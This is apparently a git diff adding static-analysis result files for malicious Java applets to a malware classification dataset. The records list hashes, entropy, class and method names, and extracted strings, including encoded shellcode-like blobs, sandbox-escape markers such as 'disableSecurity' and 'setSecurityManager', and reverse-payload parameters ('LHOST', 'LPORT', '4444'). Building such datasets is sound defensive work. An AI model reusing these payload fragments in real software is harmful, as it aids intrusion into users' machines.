["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,Pj,0l,PN,pl,PN,pl,Pl,Py,yK,K3,0w,ps,0C,os,Ty,16,PW,pG,p7,pL,K7,06,ln,kT,0w,lL,mN,kc,X5,pm,Pc,MV,lP,3a,dU,SO,fH,kK,CN,kC,Xw,xl,Kl,7r,JU,TQ,Iy,xN,oC,0E,P5,PK,Rk,I1,xP,ob,N3,0E,PS,X0,u0,rr,Lp,mr,tK,OV,vL,KJ,H9,xS,IE,PS,05,Pl,K8,WR,gM,Pw,Og,pb,UY,js,wC,gW,7M,PU,og,pq,ey,jN,kJ,OQ,OP,3k,yK,1x,lV,dF,ag,pg,pL,KY,LV,1p,Rp,SP,hs,45,QE,P7,pK,O2,vV,l1,Jr,ys,aV,2N,kg,rC,cQ,So,pw,KG,pP,uK,JN,aC,KY,lV,Nu,5B,Xr,E3,Ee,SL,CZ,Ku,XM,YS,3X,Gr,cv,d6,NB,EQ,h1,uy,Vc,sG,x5,P1,KM,ZK,qt,DV,Pl,H0,EE,Pp,3Y,P2,pB,pR,ss,gp,PY,oR,vf,pL,CJ,Xu,Pp,uF,fp,jw,qa,Ck,Os,fW,tP,ZF,9n,cY,Re,Tq,Qo,pV,Z5,PQ,eM,dk,O2,vT,HB,qR,vl,Kr,U5,ll,Ka,dF,Us,HV,cH,uS,fn,kT,6U,pW,sZ,Ue,c8,Iq,Yg,1l,mt,CK,uT,sY,KV,oO,NB,0V,XJ,Rp,tW,xy,Qz,kV,m6,cj,zs,pZ,Kj,Qg,K5,OP,uM,7S,nN,kQ,Nd,d5,SK,m3,Vl,Kf,lp,KL,KQ,NU,Ls,39,ML,Kf,dl,Kw,s9,UN,KQ,Nr,yk,sK,Xs,0K,O9,oy,oL,Np,NV,nx,lJ,8Y,nM,ZT,NQ,nY,Hx,bb,Sf,SK,zN,ja,Kw,Ft,Zv,Op,pC,Qa,uC,YP,rE,P3,Xp,tQ,dR,P6,Zd,ot,o2,Vp,iP,pv,MF,Qv,QF,Qt,wV,NP,cB,Op,mt,oQ,sS,Wu,9v,MP,bu,9R,NV,OS,SP,or,Op,lu,5P,rV,N3,Qr,Sb,Pr,X7,OS,y3,tu,m6,Rv,P7,H5,iu,gU,vE,6Q,r7,Mf,7c,f0,RQ,fU,5p,Ug,IP,uP,dP,H2,Pv,03,Qr,MC,SP,2b,sB,wV,Up,Wq,u2,LB,Pq,Ip,SR,M2,Tq,J6,7Q,Vp,J0,ov,3V,7R,P4,p3,QW,5P,9R,QR,tS,dp,ZR,LR,mt,pd,pt,rp,TV,72,PQ,fe,1R,w3,vs,hP,Uv,72,Lp,P0,MD,pT,pp,26,4V,Pv,21,fS,QQ,Ev,Qv,5F,53,dq,BR,oP,a0,lp,VT,s0,Tc,fB,rB,fp,a0,Ue,ha,jR,ts,dB,zP,Nq,FQ,U2,Kd,rV,3v,7e,aC,wS,Qw,Bv,2r,T6,60,nr,LR,Kp,Rd,rQ,hp,6C,gB,LC,i6,UP,cc,vR,PQ,T0,SV,4Q,tC,ZQ,uP,mv,XP,yB,tV,Rr,L1,ZU,5B,e5,aq,UV,3q,Hs,XP,Nb,vb,gc,D0,p3,d2,Z2,np,NP,Nr,K6,UR,es,R0,2p,lb,Hp,MP,0p,Jv,Ss,iR,vr,n0,J0,NT,qV,2Q,ab,Dq,Tb,Lb,JC,Ur,MT,ye,fP,T0,2R,L0,Kr,DQ,V2,PR,e0,Vv,7P,lp,PR,mT,p4,pP,2P,TV,8B,PQ,Zp,N0,kP,lR,Qa,JW,7p,tp,Nv,2s,w0,MQ,hv,4B,xP,pq,ZP,Nr,u6,QS,x3,cb,MB,XV,0v,20,0p,lf,T0,TB,LQ,BC,rb,nr,vp,lT,43,b2,tp,BP,ZP,aR,MU,3P,zp,Tp,lQ,Bp,kU,2a,Up,1b,uc,ap,ms,X2,n0,M2,KG,Eb,Pv,3F,7b,P4,pP,Or,qU,uV,Sw,4U,uu,cq,Td,op,n4,pf,PT,r4,qp,00,6t,rt,p6,QP,3t,pT,tQ,bP,0u,dP,0U,ic,zt,qe,af,PD,p6,PT,vv,Pt,qR,rW,FF,U6,Sp,3f,SU,iU,6p,5R,wR,CV,VP,bd,up,7s,Qd,tE,3b,xr,BT,yc,Ra,qe,20,5E,2W,Hs,ip,fv,Rt,tu,aV,WQ,u5,40,7P,ZD,pT,qt,pv,Pe,6f,Pv,Wf,Pw,p5,PA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2b3654dd819117134e9dec3d04b8eb163b6ac2fa", "file_name": "java_malicious/0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98", "_id": "000f4187-5ba7-4409-bea7-e3cb1d175675", "score": 0, "entropy": 5.959383196364569, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4050, "ssdeep": "96:HFl1YGz94dFaQnr1DiHTDE2iTULNkez1zNjWZ:ll+cheZqQ5ApnJNiZ", "sha256": "0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98", "md5": "b305b50a4e4f4f5fe50f18b3df415949", "parent_sha256": "0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0.results b/java_classification/data/malicious/0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0.results new file mode 100755 index 0000000..5e3c2aa --- /dev/null +++ b/java_classification/data/malicious/0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "fawc.java", "class_name": "fawa/fawc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["fawa", "fawb", "", "fawa", "fawa"], "minor_version": 0, "const_pool_count": 661}}, "_id": "e1d2a090-c73f-4450-b199-c2835a10ad65", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1709d45dae9c0a5f98bb1541d62bc9cda5400ce7", "file_name": "java_malicious/0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0", "_id": "e1d2a090-c73f-4450-b199-c2835a10ad65", "score": 0, "entropy": 5.167042533820979, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6692, "ssdeep": "96:S/UIlhNvm4gHyBkXKn3ZFPDBn9J3V4irbnwCArsGp4o5ln4lMovP1sIV5lhIFNk:srh1m4rFnTDBnHV4iPGVn4v6olark", "sha256": "0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0", "md5": "2924b9cff13880c7ea5aac20e600c5d4", "parent_sha256": "0be4b00ebeaef81aabc5b36c349f4e5959f7681ac9f5a0ec6c2687550f6545d0"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337.results b/java_classification/data/malicious/0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337.results new file mode 100755 index 0000000..461ab2f --- /dev/null +++ b/java_classification/data/malicious/0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "eagkscafbbtbetw/bdlpevgqghvnd", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "getType", "getColorModel", "getSampleModel", ""], "minor_version": 0, "const_pool_count": 117}}, "_id": "603eb3c8-fe97-42cb-916b-3f20ec70d656", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "gls5wmc0c4l12nly613vub47"}}}, "constant strings": ["6gsf7fnmkq", "gls5wmc0c4l12nly613vub47"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d55b335c84dac3bc633ac6e139009b96075465cf", "file_name": "java_malicious/0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337", "_id": "603eb3c8-fe97-42cb-916b-3f20ec70d656", "score": 0, "entropy": 5.7143890968756965, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1878, "ssdeep": "48:t8FfwBXb4GhWkSxUfJZPzE3qd0cIQP5Rco8TG8KUugF1:qFGWhxOJZkA0cIQP5RcK8KqF1", "sha256": "0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337", "md5": "be9455462157d92d2798280b08f9ed3d", "parent_sha256": "0c1f05e13847bf89855f55ac2a6b04363df897540825a127af94188a44262337"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b.results b/java_classification/data/malicious/0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b.results new file mode 100755 index 0000000..61ff106 --- /dev/null +++ b/java_classification/data/malicious/0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "exploit/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "disableSecurity", "GetClass", "SetField", "init", "paint", "main"], "minor_version": 0, "const_pool_count": 165}}, "_id": "4070140a-06ed-428d-983d-71319a779bb2", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "getField"}}}, "constant strings": ["setSecurityManager", "file:///", "acc", "forName", "sun.awt.SunToolkit", "getField", "calc.exe", "Loading"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f9206eb4195158b2d76b7a5950db14222786cd4", "file_name": "java_malicious/0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b", "_id": "4070140a-06ed-428d-983d-71319a779bb2", "score": 10, "entropy": 5.4874858102346185, "libmagic": "compiled Java class data, version 51.0", "file_size": 3288, "ssdeep": "48:TZ+yFlouqFdh6uD6jPyZ1iBY0Za9hvVuSCOvzgQbWkfJpHc2htmiUaHJ8XLF5zC1:T5FlJSwnZaA8/aWUap6jCDDAI", "sha256": "0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b", "md5": "26fbaa7e9034c2cc6bbe7c127d5171ac", "parent_sha256": "0c500d680144fb73065d87716f360deac251515be252a5e4efaf742a1dd5e16b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c.results b/java_classification/data/malicious/0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c.results new file mode 100755 index 0000000..17c04a4 --- /dev/null +++ b/java_classification/data/malicious/0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "a9626543-2df9-4ff5-9280-fdf4963717a8", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "fa2e8d8b-4e23-4c56-b4f7-49c8bedb7481", "metadata": {"mimetype": "text/plain", "sha1": "e13aa104447eb2d57a0d6401d9fb66857e9bf68f", "file_name": "long string 0", "_id": "fa2e8d8b-4e23-4c56-b4f7-49c8bedb7481", "score": 0, "entropy": 4.777708717193893, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1328, "ssdeep": "24:miLAz4kKBV/eWdz5/qp6tYiu6hORmKS9axHW6Lm6k9reUQXCFBJyCW:myzvBV/eWHSUtYiusomKSSHtrDUQXC5g", "sha256": "26620bbec9f8fef04f39a8c621ab2f34b97db9b603efaa389d8b5552d7e41527", "md5": "6e37e8b5337962461768f8e447734df4", "parent_sha256": "0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c"}}], "combined strings entropy": 4.811205149595807}, "constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,Pl,Pl,PL,PN,pZ,0n,pL,PI,yK,KU,Pu,Pg,pa,Os,Tl,av,Pe,PU,P5,PN,k3,pt,LL,KR,PE,Ll,mL,K3,Xu,pK,0S,MT,LT,sQ,d4,Co,fj,K9,cn,k2,Hw,xn,kK,G0,jg,tv,99,xl,Ou,Pe,Pg,pk,Rl,9p,h2,OP,nW,pw,pS,X0,u4,2r,L2,Mc,dY,ob,6L,KJ,HM,8T,9w,pg,pU,Pn,kk,ga,WO,pg,Ou,PC,EK,JR,g0,Wb,go,pg,Ou,PR,Ux,zl,KH,o1,OU,cz,iM,QZ,Ls,4g,qG,pU,PL,K9,LV,13,bP,Ss,Xg,tG,qS,0E,PK,OP,VF,lB,z0,YS,ap,RN,k3,2V,3a,SM,Pw,KE,PT,5J,ZM,Q1,kK,LV,Nr,EQ,hC,UQ,ec,3O,sz,KT,Hm,Yf,cz,g3,sW,tv,NP,es,H1,u8,Fg,35,XU,PQ,Kl,Jk,qS,4f,PL,H3,ue,P4,sK,pR,p0,PC,cC,g0,Pk,Op,V4,PK,3J,Xg,pR,Uv,fR,Jg,qS,ck,Oq,Fw,t2,zB,yN,cj,bc,4S,qo,pD,zc,00,uX,4i,or,v4,H3,aR,vl,Kb,U5,ll,K1,dW,EB,XV,cX,up,VL,Kr,Vq,0W,si,ee,cx,I0,IW,1l,m5,SK,uW,Cy,Kf,om,n6,pp,8x,rT,4e,Xo,1J,kV,mV,cz,zq,PX,kL,1g,K5,O3,EM,7s,nl,Ka,NQ,4d,Cy,M5,6L,Kt,Lb,kl,Ka,Nu,LV,ci,Mn,ku,Tl,KD,CK,uL,kq,NV,9z,cM,8U,Py,oy,oI,on,nP,NT,Nz,LN,xk,Nm,Zf,nq,nN,8H,b3,Cu,cK,zO,zS,kd,vt,ZT,op,ps,Zp,Dq,Us,Sc,gP,q2,jR,M7,pp,hB,TD,4P,pT,zd,o6,OV,Qp,2W,Dv,XD,wp,2P,4t,qF,Qe,hd,nP,wb,Mp,dr,OP,tf,NQ,sB,Or,Mv,OR,Cq,w3,Yv,Mp,bC,YP,nD,o4,3p,ts,QB,TQ,ys,Sd,n1,qT,3P,pr,Xv,Or,Nv,Pv,PD,rd,q4,pF,RW,CV,Q7,Ht,x0,0f,Qr,RV,PU,dv,PP,92,jV,PP,f4,pf,Pf,Pd,vt,pu,ar,r3,Te,b5,ap,7Q,tU,2W,Ft,qS,g1,qQ,uu,hT,yE,cP,6U,2V,T2,x6,YT,tg,IT,rg,Cr,D4,xd,rV,93,T1,vw,D7,Gf,P5,a5,bE,5P,ZP,04,s4,pd,pd,yB,Fp,3p,5G,pg,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "84f80207ce1f91c43ae23d15a597bbdb8e83b4f1", "file_name": "java_malicious/0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c", "_id": "a9626543-2df9-4ff5-9280-fdf4963717a8", "score": 0, "entropy": 5.990856499341493, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3138, "ssdeep": "48:4vVk0yFl2yzvBV/eWHSUtYiusomKSSHtrDUQXC5yP5GUFwIsFlXRkHccQjtZtgoG:hFFlJFdesuUirDuoxRxC92XQjt9bKsCn", "sha256": "0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c", "md5": "64ca73b8b041457b7c2bd2f9855666fa", "parent_sha256": "0d9fe5d94f2f7638a3d007c6ca04c942ef8e852305e9de1974fba2f7c880864c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06.results b/java_classification/data/malicious/0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06.results new file mode 100755 index 0000000..c83bf77 --- /dev/null +++ b/java_classification/data/malicious/0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "dGKprQaAbB/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "23db272f-da42-4095-8db2-3cab3135c825", "verbose": {"java": {"constant strings": ["dGKprQaAbB.Payload", ".class", "/dGKprQaAbB.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "dGKprQaAbB.dat", "URL", "", "https:", "dGKprQaAbB/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "dGKprQaAbB/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "dGKprQaAbB.PayloadTrustManager", "useFor", "java.net.URLConnection", "dGKprQaAbB.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaBiZfQqN.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "53a1082326b4a474d93d50e13a7525a9fa053b6f", "file_name": "java_malicious/0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06", "_id": "23db272f-da42-4095-8db2-3cab3135c825", "score": 0, "entropy": 6.1454654117916165, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM1DUBv+WT79ThmIrxPIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tPvZtmaJNvpvUrKYvCkgHzbDrDF", "sha256": "0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06", "md5": "1808c7f77fcfb0741731ba8fa9a945ba", "parent_sha256": "0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567.results b/java_classification/data/malicious/0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567.results new file mode 100755 index 0000000..e7d91d2 --- /dev/null +++ b/java_classification/data/malicious/0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MwcNrKk.java", "class_name": "MwcNrKk", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "log", "init", "toHex", "tryExpl", "down_exec"], "minor_version": 0, "const_pool_count": 362}}, "_id": "2aea4836-65bc-4383-b865-26d2fbb7a15b", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.680225720940552, "obfuscated_data": {"signatures": {"java": "rot0", "file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "data"}}}, "constant strings": ["", "os.arch", "64", "&s=", "&d=", "data", "no", "setSecurityManager", "file:///", "java.io.tmpdir", "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz", "hmemsdb", ".exe", "&s=2&d="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1d66c12c11f233518456d7cae0c3f33d1e18844", "file_name": "java_malicious/0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567", "_id": "2aea4836-65bc-4383-b865-26d2fbb7a15b", "score": 0, "entropy": 5.9965483860220505, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 7315, "ssdeep": "192:VlMsmhXSladDSLmpKeKEyusBlZFvKT30LVN:V+XhX+adDSLQ44s3/vKwLH", "sha256": "0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567", "md5": "c2156612f16a6e4f4dd737c624ab54c9", "parent_sha256": "0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7.results b/java_classification/data/malicious/0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7.results new file mode 100755 index 0000000..3832b79 --- /dev/null +++ b/java_classification/data/malicious/0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/jtbeesfmc", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["ipiuyojctdhscxzbs", "pcbptnyykolktdnaj", "cdqetszbwahcgfbj", "ssqdjpwkmqciysquytj", "ajkttagdtpuwjky", "", "rqyfwdpmltbr", "tipbacxsxochcdqra", "jazfvijtkkladkn", "ogqfpmrksiilyzrd", "upcgltenwjgxrznjix", "utrgqmwmydluufso", "utgsublpxtzxfweg", "bksorclztzzjetcvas", "hlriageiulonmzfk", "bfkhhvcgnritcnkgp", "yumlimnu", "zcbgbgsyouljliyiea", "eafvpopzcjgstzpko", "hgcgedmnsgwavwhzpe", "mzoeemzxhufxzgmezt", "pbndeitlbzwgyambym", "xvehrpklemydjxw", "hvxplazwjkzcyskvri", "vjfhqcjngzbplfejpq", "mkhwpvszwfwldvgvmrh", "qdyebqgjikmzzxrtqpu", "mybrkiqydgokfpxyzy", "sdvdmgndanbaqasaotz", "jwfyhnefiqypubobtzb", "mnyobkkfytpurrv", "gnafnrugtfwpcbikkbn", "mfrbksarjogqdwbx", "ajtmugbbnnwokskyugx", "tvwrezabvuqxxwotqp", "ydptycqpykugfaq", "axarvpgusszcbdpdh", "esonxohgtyxbtfswek", "agfnjqgsnyzpmmefv", "vzzcoiouhvlkiryoj", "mvjwbyouxyajviqhxb"], "minor_version": 0, "const_pool_count": 978}}, "_id": "8bd7ccdf-c3e2-45f8-b543-d3b51cba6f34", "verbose": {"java": {"constant strings": ["cljaivcbuszllqrfzzhjvzsnm", "zybql", "j", "fmzkgzmesxtylqswbqwkzfpmh", "bdxdawhmqifsel", "cfttlqohebmxppumhnwvtlnssbbp", "", "vhswymlsqjmxkkap", "erjmynrpyu", "znfzyckmkxhvfonmqgmoltvt", "wk", "urmttdzyvsxntmlxukngkcuhsi", "unwvftwpi", "sqozauaocvasgxhqrywqtm", "oy", "klpezaqwxpvyeb", "zu", "mkmzincyeuccgwkllpilwqfjjpdku", "uazhvcqmxzcuegfw", "dnzjzcbjoipnlersgcg", "cmi", "qomlxdmqapympfeaqnxqkc", "mglgxv", "qag", "kyilhlswcsfe", "popacrl", "boyq", "osenxqtrqon", "ysb", "ss", "pvguzprjulspyixgpr", "ov", "auqlugweixqzjmyoaikrrqvxhqknjn", "lqvusyfkytctftfz", "aftnkraeo", "ptykqsfdubanipxz", "rxubalznnjfumihfxzg", "rvqzqpgqxlupzefocfjjncdt", "kadgmeidcyfimh", "uqcwgcjegqsrqxroxpddmambmop", "yoxcjhmoypdemxmueurofan", "uizawafftuhbkyahw", "qcllqyqghyfoqcchts", "zhjslmsoyh", "iqtwhcprr", "rhzxbkguiynsvihnuyfxsbknmloh", "ep", "q", "zht", "msjmugrkwqcjxkiaw", "wkqlvsamfkhxrubx", "cdxc", "hzvhagq", "hmlgglmwxhybn", "msirc", "azeuwuesq", "g", "gdweggo", "eteiqvthwekt", "adunvmctlumpapmfkykqxfcoifagd", "cybwiuegesvwgwbpi", "inovtlam", "ibdyagstexymwx", "tlajadwctmketnvuxwjvhqinpw", "xzvanxmfamthypsivsbxiqoicjf", "xdrkcvnklrzxjowqws", "mcxbtxrahqwxokjdvmijsycoajuco", "uvouxwlrgkuoymzuh", "sdsupfpcvtaunonzx", "hpjcpuwacggmljtqkrmfwyvc", "hsoak", "rzzzz", "mjdcphkempmlqnfvxvokeyvqzrqeub", "lmlahvtuybiiggooxr", "tcghvbucqiqohcvxfmaf", "bwbuurm", "ynzmaqsisib", "nbgmpg", "llwmformofuxvkiiydxrbnd", "kiackvojdnjyhyo", "ft", "ernqnvsu", "kbpekgmatykgjfhplemhjofryjgty", "wqncoytbcoqktjbubakop", "rkygejdmahtvthttcodmrmyz", "xgwambbtuqqejqd", "rigavemtjmftnnl", "vctmchmhaljeijpgw", "yywtbkefc", "bpialnunxpprtrfskonjhzcw", "tgxgdbrgzafwewauvbod", "jlwvymcjczjocdxkm", "qvbruehewpuockgbkushc", "perxcdbcusdghrjpxqpmspghqmahv", "qsuglyfjmbymmqyxtdzmhs", "ofvdyqziimontavsugjz", "ppnmenpbym", "rxswiksyqfxsbmtzsqyiyymcqxmdrf", "ndhyzrmtqdpqqhsb", "ospxzsh", "jivllbsnjnoylzpiisdi", "dahcwbujswxqldpdm", "ltjzrooyevocrwtnsqmknfmt", "soxtrgycbnalob", "yxluchuuyogtraxdzk", "wmorwu", "lxxpsnsqptzh", "qoeihvhqscbpfmzyxsksitxio", "gbcaxsrdvfk", "pxqvxprcetrj", "zyfqpezynfyeizoelqus", "gfrlbrdrfyocvnqzjlrrjz", "bxjuh", "xxj", "cdpafhqnljbvqqtsehrygxecmm", "bwrzwlvx", "wwojvc", "tnmpifbhmzbgxifozdrwpyq", "gwzqmuejvv", "gweemwgriwedxjkrq", "pjxxmtsipozqnef", "lsocfzhasdbupsdnhq", "ejvslejqtjbl", "vvqdmbmpxykilbgxidd", "klwyxilwhc", "mjainpbqr", "qxfxduhxbfvzldnmwrfjjeol", "mltjixtcjzzkhlgosgrkvoygopyfen", "vfqyqgyk", "rqzopayizsoryetdohjshhiv", "smcufhaxrbqaonmr", "awcxdsdodvdgpucnpbakxooxaposhu", "k", "zit", "dtxfnrjpyywohrrsrfgcqsvdeh", "fcatcnlyhuledx", "qsigehvbhejxhavyk", "ntxzvhsnxlhbgiyolhggoikbdjw", "pnniptuqhakbnqb", "recdlxittkdxthquhqb", "sntldcosdzprvs", "polkxckepvgtbupibyxmga", "qgsxylvxoftudjmq", "ufjtaoyfnkruusulmx", "hufirzv", "rvhhb", "nmuevpghx", "dnxshflqzhebrqxrphk", "misjkcj", "gqlhftkaydaq", "hc", "gohnr", "ehpehicp", "irzqp", "kbftlunq", "badlwq", "onjxwivhbolofdumqf", "uevrhknachacyy", "yxerbmidjsurzhv", "foimviuikjn", "dnqklbyddkklxwjmzra", "bnlhijvrwesrqj", "qxwrun", "yygof", "evqagzsiosbcrr", "mji", "fdrkucodoslwwrburloko", "ozquhc", "emripubcncvztinxfpcrll", "ykjexaieapfugk", "ceyceo", "kui", "mhtepjhfluysfbrfsmwt", "lsodsqrcsfenveflmszg", "bqtqhqswdfsbfhawyyilzzcu", "vilsyjbnegrzkqcfa", "nzdvc", "bvesid", "wfgnlsoctoapxzanrlpaclwvga", "ryxstjloejavzzeujofyg", "ypujloeymiramgv", "yyzcteaas", "shz", "yxlmayflhftfmtyhspxbjpmpqd", "kgmqkysgcukexflaaju", "eypiwkpa", "qejqgfjmdyn", "sfxhkqxgzxgjawpmaub", "thdjwevxlqlebzfzwjerodvwadglr", "svhiqqzvoepn", "xkimhvsvuuijmrdicczdxjqpkidy", "lrcglzszxrdwf", "dbiiftqqgp", "ijtkpnjg", "jdcyzalutkoaaxofkre", "nvynex", "rqgpsxux", "rxmqhbjulvrfxligrhqksjrdnsw", "myxzrfckzbbqpfcelqzipbckg", "rcnfqbtxfnzxmc", "coyyysepakgndcasnzgtsqgt", "stfe", "qbkyyid", "sbkmfbjvu", "ypkcgwpiwsnidtre", "bbnjwjzlytiwmgbbp", "lsjeuxnrowrfpjjjtria", "duybrnzulitzcybqj", "djf", "umptcgvr", "lzvasaietykuwnmpujtclrap", "wyjs", "sdjxgsvwomwovlcgxrzliazsnl", "lbkhdcturumnjki", "afdvwddzwniqlpgip"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "81109b94917cd8926a6ece40d55bf841293ba0c5", "file_name": "java_malicious/0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7", "_id": "8bd7ccdf-c3e2-45f8-b543-d3b51cba6f34", "score": 0, "entropy": 6.004310608178337, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 22780, "ssdeep": "384:G8nWTzY/O6Mz3YqG8sgTIkEO8oc9aVHLu/YGNFzS1oMapHQ:vWHUO6Mz7lTJExwrTAC", "sha256": "0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7", "md5": "6b03486f49679b1640002f58b95c0d30", "parent_sha256": "0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b.results 